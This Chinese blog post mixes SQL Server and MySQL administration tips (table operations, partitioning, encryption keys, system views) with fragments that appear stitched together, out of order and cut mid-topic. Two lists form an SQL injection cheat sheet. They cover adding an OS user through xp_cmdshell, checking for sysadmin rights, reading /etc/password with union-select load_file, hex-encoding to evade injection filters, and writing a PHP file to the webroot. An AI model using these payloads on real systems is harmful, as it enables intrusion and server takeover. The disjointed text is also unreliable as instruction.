数据库管理工具中可以显示数据库中的所有数据表,基于指定的标识号返回数据库用户名

发布时间:2019-08-28  栏目:数据  评论:0 Comments

六、数据库优缺点

优点:易用性、适合分布式组织的可伸缩性、用于决策支持的数据仓库功能、与许多其他服务器软件紧密关联的集成性、良好的性价比等。

缺点:1开放性。只能运行在微软的windows平台,没有丝毫的开放性可言。

     
2可伸缩性,并行性。并行实施和共存模型并不成熟,很难处理日益增多的用户数和数据卷,伸缩性有限。
     
3性能稳定性。SQLServer当用户连接多时性能会变的很差,并且不够稳定。
     
4使用风险。SQLServer完全重写的代码,经历了长期的测试,不断延迟,许多功能需时间来证明。并不十分兼容早期产品。使用需要冒一定风险。
      5客户端支持及应用模式。只支持C/S模式。

删除数据表

方式一:打开数据库管理工具-》登录-》选择数据库-》选择表-》右键点击,选择删除-》点击弹出框中的确定删除-》刷新数据库

图片 1图片 2

方式二:使用T-SQL脚本删除:drop table
test2;

图片 3

# 第三步、查看分区结果

## –查看分区表中,每个非空分区存在的行数

 

select $partition.[knowPartitionFunc](time) as partitionNum,count(*) as recordCount

from test

group by  $partition.[knowPartitionFunc] (time)

 

 

 

## –查看分区数据

select $partition.[knowPartitionFunc](time) as partitionGroupId,*

from test 

 

 

二:非对称加密

     加密解密速度慢,较高的系统资源占用

 

MYSQL

五、查数据库查看

方式一:在数据库管理工具中选中数据库-》右键属性-》查看数据库相关配置信息

图片 4

图片 5

方式二:在数据库管理工具中输入数据库脚本查看,一下列举几种常用的数据库查看信息

–使用目录视图查看数据库信息
–使用sys.database_files查看有关数据库文件的信息
select * from
sys.database_files;
–使用sys.filegroups查看有关数据库组的信息
select * from sys.filegroups;
–使用sys.master_files
查看数据库文件的基本信息和状态信息
select * from sys.master_files;
–使用sys.databases
数据库和文件目录视图查看有关数据库的基本信息
select * from sys.databases where
name=’testss’;

图片 6

 

–使用函数查看数据状态
use testss
select
databasepropertyex(‘test2′,’Status’) as ‘test数据库状态’

图片 7

数据表定义

数据表(或称表)是数据库最重要的组成部分之一,数据库中以表为组织单位存储数据,数据库只是一个框架,数据表才是其实质内容。数据库管理工具中可以显示数据库中的所有数据表,数据表是数据库中一个非常重要的对象,是其他对象的基础。

## — 1、创建分区函数

CREATE PARTITION FUNCTION [knowPartitionFunc](datetime) 

AS RANGE

LEFT FOR VALUES (N’2014-01-01T00:00:00′, N’2014-02-01T00:00:00′, N’2014-03-01T00:00:00′)

 

三:混合数据加密

     加密过程:随机生成对称密钥,使用公钥加密对称密钥。

     解密过程:用私钥解开被加密的对称密钥,使用对称密钥解密数据

 

  1. SQLSever提供了非常多的系统函数,利用该系统函数可以访问SQLServer系统中的信息,而无须使用SQL语句查询。
  2. suser_name():返回用户的登陆名;
  3. user_name():基于指定的标识号返回数据库用户名;
  4. db_name(): 返回数据库名称;
  5. is_number(‘db_owner’): 是否为数据库角色;
  6. convert(int,’5′): 数据类型转换;
  7. sys.databases     SQL Server中的所有数据库
  8. sys.sql_logins     SQL Server中的所有登录名
  9. information_schema.tables     当前数据库中的表
  10. information_schema.columns  当前数据库中的列
  11. sys.all_columns    用户定义对象和系统的所有列的联合
  12. sys.database_principals    数据库中每个权限或列异常权限
  13. sys.database_files       存储在数据库中的数据库文件
  14. sysobjects                 数据库中创建的每个对象
  15. 攻击者最常用的存储过程是xp_cmdshell,这个存储过程允许用户执行操作系统的命令;如果
    xp_cmdshell ‘net user test test
    /add’,攻击者就可以利用xp_cmdshell操纵服务器。
  16.  and 1=(select IS_SRVROLEMEMBER(’sysadmin’))
    判断是否是系统权限;
  17. 查看数据库版本 @@version;
  18. 获取元数据:INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图取得数据库表以及表的字段。
  19. select TABLE_NAME from INFORMATION_SCHEMA.TABLES  
    取得当前数据库表;
  20. select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
    TABLE_NAME=’Student’ 取得Student表字段;

一、数据库定义

数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。数据库的操作分为两种形式:一种是直接在数据库管理工具图形化界面进行操作;一种是使用数据库脚本进行操作,数据库脚本可以直接在数据库管理工具中操作,也可以在dos命令窗口中操作。

修改数据表

方式一:打开数据库管理工具-》登录-》选择数据库-》选择表-》右键点击,选择重命名-》重新输入表名-》按enter键确定-》刷新可查看新表名

 图片 8

方式二:使用T-SQL脚本修改表名:exec
sp_rename ‘test1′,’test2’;

图片 9

# 第四步、为已存在的分区表添加新的边界值

五:创建数据库主密钥(需要手动创建数据库主密钥)

    Create master key encryption by password = ‘password’

create master key encryption by password = ‘databaseTest’    

备份数据库密钥

backup master key to file = ‘D:\work
path\dbFile\database.bak’ encryption by password = ‘databaseTest’

 

 

  1.   version()版本号
  2. 元数据:Mysql 5.0及其以上版本提供了INFORMATION_SCHEMA。
  3. LIMIT i,j  
    LIMIT后面跟一个或两个整数参数,强制select语句返回指定的记录行(记录行i+1到j+i)
  4. 查询用户数据库名称:select SCHEMA_NAME from
    INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 检索第一行
  5. 查询当前数据库表:select TABLE_NAME from INFORMATION_SCHEMA.TABLES
    where TABLE_SCHEMA= (select DATABASE()) limit 0,1
  6. 查询指定表的所有字段:select COLUMN_NAME from
    INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’Student’ LIMIT 0,1
  7.  load_file()函数读取文件操作:union select
    1,load_file(’/etc/password‘),3,4,5,6 #
  8. 一些防注入的语句不允许单引号的出现,那么使用:union select
    1,load_file( ‘/etc/password’十六进制转换结果),3,4,5,6 #来绕过;
  9. 写文件操作:select ‘<?php phpinfo();?>’ into outfile
    ‘c:\wwwroot\1.php’
  10. 读写文件需要持有FIFE权限,并且文件必须为全路径名称。
  11. 如果需要一次查询多个数据,可以使用concat()或concat_ws()函数来完成。
  12. concat()函数:select name from student where id=1 union select
    concat(user(),’,’,database(),’,’,version());
  13. 上面也可以转换为十六进制:select name from student where id =1 union
    select concat(user(),0x2c,database(),0x2c,version());
  14. concat_ws()函数:select name from student where id =1 union select
    concat_ws(0x2c,user(),database(),version())
  15. user()用户名
  16. current_user()当前用户
  17. system_user()系统用户
  18. database()数据库名
  19. version()版本
  20. @@version_compile_os()操作系统
  21. group_concat() 返回带有来自一个组的连接的非NULL值的字符串结果。

留下评论

网站地图xml地图